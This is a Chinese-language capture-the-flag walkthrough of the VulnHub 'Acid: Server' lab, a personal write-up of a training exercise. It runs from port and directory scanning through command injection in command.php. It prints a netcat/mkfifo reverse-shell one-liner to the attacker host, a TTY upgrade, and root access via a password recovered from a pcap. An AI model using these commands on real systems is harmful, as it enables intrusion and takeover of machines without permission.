VulnHub-Acid: Server

靶机地址：https://www.vulnhub.com/entry/acid-server,125/

目标：Escalate the privileges to root and capture the flag.

人话：将权限提升为 root 并捕获标志。

一、信息收集

1、靶机发现

nmap -sn 192.168.11.0/24

-sn：Ping扫描-禁用端口扫描

┌──(root㉿kali)-[~]
└─# nmap -sn 192.168.11.0/24
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-16 20:04 CST
Nmap scan report for 192.168.11.1
Host is up (0.00026s latency).
MAC Address: 00:50:56:C0:00:08 (VMware)
Nmap scan report for 192.168.11.136
Host is up (0.0010s latency).
MAC Address: 00:0C:29:6D:91:7D (VMware)
Nmap scan report for 192.168.11.254
Host is up (0.00065s latency).
MAC Address: 00:50:56:FA:34:33 (VMware)
Nmap scan report for 192.168.11.131
Host is up.
Nmap done: 256 IP addresses (4 hosts up) scanned in 27.93 seconds

2、端口扫描

nmap -sV -T4 -A -p- 192.168.11.136

-sV：探测打开的端口以确定服务/版本信息

-T<0-5>：设置计时模板(越高越快)

-A：启用操作系统检测、版本检测、脚本扫描和traceroute

-p <port ranges>：仅扫描指定的端口

┌──(root㉿kali)-[~]
└─# nmap -sV -T4 -A -p- 192.168.11.136
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-16 20:06 CST
Nmap scan report for 192.168.11.136
Host is up (0.0016s latency).
Not shown: 65534 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
33447/tcp open  http    Apache httpd 2.4.10 ((Ubuntu))
|_http-title: /Challenge
|_http-server-header: Apache/2.4.10 (Ubuntu)
MAC Address: 00:0C:29:6D:91:7D (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
​
TRACEROUTE
HOP RTT     ADDRESS
1   1.56 ms 192.168.11.136
​
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 52.84 seconds

33447端口

提供Web服务，访问http://192.168.11.136:33447/查看网站模板Apache版本信息等搜索相关CVE漏洞无果

whatweb http://192.168.11.136:33447/

┌──(root㉿kali)-[~]
└─# whatweb http://192.168.11.136:33447/
http://192.168.11.136:33447/ [200 OK] Apache[2.4.10], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.10 (Ubuntu)], IP[192.168.11.136], Title[/Challenge]

没有什么有价值的东西，查看源码发现标题类似目录

注：

• 源码最后一行有一个字符串：0x643239334c6d70775a773d3d

• 十六进制解码发现文件名：wow.gif

• 下载文件(wow.gif)后以文本打开最后一行：

  37:61:65:65:30:66:36:64:35:38:38:65:64:39:39:30:35:65:65:33:37:66:31:36:61:37:63:36:31:30:64:34

• 使用ASCII转码：7aee0f6d588ed9905ee37f16a7c610d4

• 使用MD5解码：63425

  解密网站：MD5在线免费破解

• 联想到之前index.html所说的使用钥匙打开魔法门，那么这串数字字符串应该就是打开门的关键了(结果卵用没有)

访问http://192.168.11.136:33447/Challenge/发现登录页面(尝试利用)

用dirsearch扫描目录，也没有扫出啥有用的

dirsearch -u http://192.168.11.136:33447/

-u URL, --url=URL：目标网址

┌──(root㉿kali)-[~]
└─# dirsearch -u http://192.168.11.136:33447/
​
  _|. _ _  _  _  _ _|_    v0.4.2
 (_||| _) (/_(_|| (_| )
​
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10927
​
Output File: /root/.dirsearch/reports/192.168.11.136-33447/-_23-04-17_10-21-10.txt
​
Error Log: /root/.dirsearch/logs/errors-23-04-17_10-21-10.log
​
Target: http://192.168.11.136:33447/
​
[10:21:10] Starting: 
[10:21:13] 403 -  303B  - /.ht_wsr.txt                                     
[10:21:13] 403 -  306B  - /.htaccess.save                                  
[10:21:13] 403 -  306B  - /.htaccess.bak1
[10:21:13] 403 -  304B  - /.htaccess_sc
[10:21:13] 403 -  304B  - /.htaccessOLD
[10:21:13] 403 -  304B  - /.htaccessBAK
[10:21:13] 403 -  306B  - /.htaccess.orig
[10:21:13] 403 -  307B  - /.htaccess_extra
[10:21:13] 403 -  306B  - /.htaccess_orig
[10:21:13] 403 -  297B  - /.html                                           
[10:21:13] 403 -  296B  - /.htm
[10:21:14] 403 -  306B  - /.htpasswd_test
[10:21:14] 403 -  302B  - /.htpasswds
[10:21:14] 403 -  305B  - /.htaccessOLD2
[10:21:14] 403 -  303B  - /.httr-oauth                                     
[10:21:14] 403 -  296B  - /.php                                            
[10:21:14] 403 -  297B  - /.php3                                           
[10:21:16] 403 -  308B  - /.htaccess.sample                                 
[10:21:23] 301 -  323B  - /css  ->  http://192.168.11.136:33447/css/        
[10:21:26] 301 -  326B  - /images  ->  http://192.168.11.136:33447/images/  
[10:21:26] 403 -  299B  - /images/
[10:21:26] 200 -  899B  - /index.html                                       
[10:21:32] 403 -  306B  - /server-status/                                   
[10:21:32] 403 -  305B  - /server-status                                    
​
Task Completed

二、反弹SHELL

1、漏洞发现

对http://192.168.11.136:33447/Challenge/页面进行测试，尝试注入等均无果，用wfuzz进行网站目录扫描。

wfuzz --hc 404 -w /usr/share/dirb/wordlists/big.txt http://192.168.11.136:33447/Challenge/FUZZ.php

--hc/hl/hw/hh N[,N]+：隐藏具有指定代码/行/词/字符的响应(使用BBB从基线获取值)

-w wordlist：指定单词列表文件(-z文件的别名，单词列表)

![IMG_20230417110929](C:\Users\Kalpa\Desktop\Files\博客篇\打靶篇\VulnHub-Acid Server\images\IMG_20230417110929.png)┌──(root㉿kali)-[~/下载]
└─# wfuzz --hc 404 -w /usr/share/dirb/wordlists/big.txt http://192.168.11.136:33447/Challenge/FUZZ.php
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************
​
Target: http://192.168.11.136:33447/Challenge/FUZZ.php
Total requests: 20469
​
=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================
​
000000015:   403        11 L     32 W       315 Ch      ".htaccess"
000000016:   403        11 L     32 W       315 Ch      ".htpasswd"
000003963:   200        17 L     33 W       496 Ch      "cake"
000007060:   200        12 L     27 W       309 Ch      "error"
000009563:   200        40 L     80 W       1333 Ch     "index"
000009548:   302        0 L      0 W        0 Ch        "include"
​
Total time: 10.58594
Processed Requests: 20469
Filtered Requests: 20463
Requests/sec.: 1933.600

在http://192.168.11.136:33447/Challenge/cake.php发现页面标题也类似目录

继续跑wfuzz呗

wfuzz -c --hc 404 -w /usr/share/dirb/wordlists/big.txt http://192.168.11.136:33447/Challenge/Magic_Box/FUZZ.php

-c：使用颜色输出

┌──(root㉿kali)-[~/下载]
└─# wfuzz -c --hc 404 -w /usr/share/dirb/wordlists/big.txt http://192.168.11.136:33447/Challenge/Magic_Box/FUZZ.php
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************
​
Target: http://192.168.11.136:33447/Challenge/Magic_Box/FUZZ.php
Total requests: 20469
​
=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================
​
000000016:   403        11 L     32 W       325 Ch      ".htpasswd"
000000015:   403        11 L     32 W       325 Ch      ".htaccess"
000004958:   200        17 L     54 W       594 Ch      "command"
000011134:   200        0 L      0 W        0 Ch        "low"
​
Total time: 0
Processed Requests: 20469
Filtered Requests: 20465
Requests/sec.: 0

最终发现http://192.168.11.136:33447/Challenge//Magic_Box/command.php页面存在命令注入

2、漏洞利用

利用NC反弹SHELL

• Kali端监听

  nc -lvnp 8989

  ┌──(root㉿kali)-[~]
  └─# nc -lvnp 5868
  listening on [any] 5868 ...

• 靶机反弹SHELL

  rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.11.131 5868 >/tmp/f

  

3、升级Full TTY

python -c 'import pty; pty.spawn("/bin/bash")'

CTRL+Z

stty raw -echo

fg

ls

export SHELL=/bin/bash

export TERM=screen

stty rows 33 columns 145

reset

┌──(root㉿kali)-[~]
└─# nc -lvnp 5868
listening on [any] 5868 ...
connect to [192.168.11.131] from (UNKNOWN) [192.168.11.136] 56586
/bin/sh: 0: can't access tty; job control turned off
$ python -c 'import pty; pty.spawn("/bin/bash")'
www-data@acid:/var/www/html/Challenge/Magic_Box$ ^Z
[1]+  已停止               nc -lvnp 5868
​
┌──(root㉿kali)-[~]
└─# stty raw -echo
​
┌──(root㉿kali)-[~]
└─#
nc -lvnp 5868
             ls
command.php       command2.php.save    low.php  tails.php
command.php.save  command2.php.save.1  proc
www-data@acid:/var/www/html/Challenge/Magic_Box$ export SHELL=/bin/bash
www-data@acid:/var/www/html/Challenge/Magic_Box$ export TERM=screen
www-data@acid:/var/www/html/Challenge/Magic_Box$ stty rows 33 columns 145
www-data@acid:/var/www/html/Challenge/Magic_Box$ reset

三、权限提升

在/etc/passwd中查看到三个有用的用户，分别是：root、acid、saman

root:x:0:0:root:/root:/bin/bash
acid:x:1000:1000:acid,,,:/home/acid:/bin/bash
saman:x:1001:1001:,,,:/home/saman:/bin/bash

分别查看acid和saman用户所拥有的文件

find / -user [user] 2>/dev/null

• 2：标准错误

• /dev/null：空设备

• 2>/dev/null：将标准错误输入到空设备

在acid用户所有的文件下发现一个流量包，它的名字说这是个提示(上面的魔法之门钥匙也是这么说的)，尝试一下吧

www-data@acid:/var/www/html/Challenge/Magic_Box$ find / -user acid 2>/dev/null
/sbin/raw_vs_isi/hint.pcapng
......

靶机启动httpd服务

python3 -m http.server

www-data@acid:/sbin/raw_vs_isi$ cd /sbin/raw_vs_isi/
www-data@acid:/sbin/raw_vs_isi$ ls -al
total 816
drwxr-xr-x 2 root root   4096 Aug  7  2015 .
drwxr-xr-x 3 root root  12288 Aug  8  2015 ..
-rwxr--r-- 1 acid acid 818744 Aug  7  2015 hint.pcapng
www-data@acid:/sbin/raw_vs_isi$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 ...

Kali接收流量包

wget http://192.168.11.136:8000/hint.pcapng

┌──(root㉿kali)-[~]
└─# wget http://192.168.11.136:8000/hint.pcapng
--2023-04-17 15:11:31--  http://192.168.11.136:8000/hint.pcapng
正在连接 192.168.11.136:8000... 已连接。
已发出 HTTP 请求，正在等待回应... 200 OK
长度：818744 (800K) [application/octet-stream]
正在保存至: “hint.pcapng”

hint.pcapng                          100%[===================================================================>] 799.55K  --.-KB/s  用时 0.03s   

2023-04-17 15:11:31 (30.4 MB/s) - 已保存 “hint.pcapng” [818744/818744])

显示过滤器中输入表达式tcp.stream eq 0筛选出第一个TCP流(包含完整的一次TCP连接：三次握手和四次挥手)

在TCP流中发现saman用户及其密码

• 用户名：saman

• 密码：1337hax0r

切换到saman后直接sudo -i到root，获取到root权限。

www-data@acid:/sbin/raw_vs_isi$ su saman 
Password: 
saman@acid:/sbin/raw_vs_isi$ sudo -i
[sudo] password for saman: 
  ____                            _         _       _   _                 
 / ___|___  _ __   __ _ _ __ __ _| |_ _   _| | __ _| |_(_) ___  _ __  ___ 
| |   / _ \| '_ \ / _` | '__/ _` | __| | | | |/ _` | __| |/ _ \| '_ \/ __|
| |__| (_) | | | | (_| | | | (_| | |_| |_| | | (_| | |_| | (_) | | | \__ \
 \____\___/|_| |_|\__, |_|  \__,_|\__|\__,_|_|\__,_|\__|_|\___/|_| |_|___/
                  |___/                                                   
root@acid:~# id
uid=0(root) gid=0(root) groups=0(root)

在root根目录找到flag

root@acid:~# ls -al
total 68
drwx------  4 root root  4096 Aug  8  2015 .
drwxr-xr-x 23 root root  4096 Aug  8  2015 ..
-rw-------  1 root root 24584 Aug  8  2015 .bash_history
-rw-r--r--  1 root root  3135 Aug  8  2015 .bashrc
drwx------  3 root root  4096 Aug  6  2015 .config
drwx------  3 root root  4096 Aug  6  2015 .dbus
-rw-r--r--  1 root root   192 Aug  8  2015 flag.txt
-rw-------  1 root root  2027 Aug  7  2015 .mysql_history
-rw-------  1 root root    84 Aug  8  2015 .nano_history
-rw-r--r--  1 root root   140 Feb 20  2014 .profile
-rw-r--r--  1 root root    66 Aug  6  2015 .selected_editor
root@acid:~# cat flag.txt


Dear Hax0r,


You have successfully completed the challenge.

I  hope you like it.


FLAG NAME: "Acid@Makke@Hax0r"


Kind & Best Regards

-ACID
facebook: https://facebook.com/m.avinash143


root@acid:~# 

注：另类提权

在http://192.168.11.136:33447/Challenge/Magic_Box/command.php页面发现的1337 Hax0r去空格后小写即为saman密码。

所以在得到SHELL后直接尝试信息收集的用户名(root、acid、saman)密码(1337Hax0r、1337hax0r)一路提权到root。

---

至此打靶结束OvO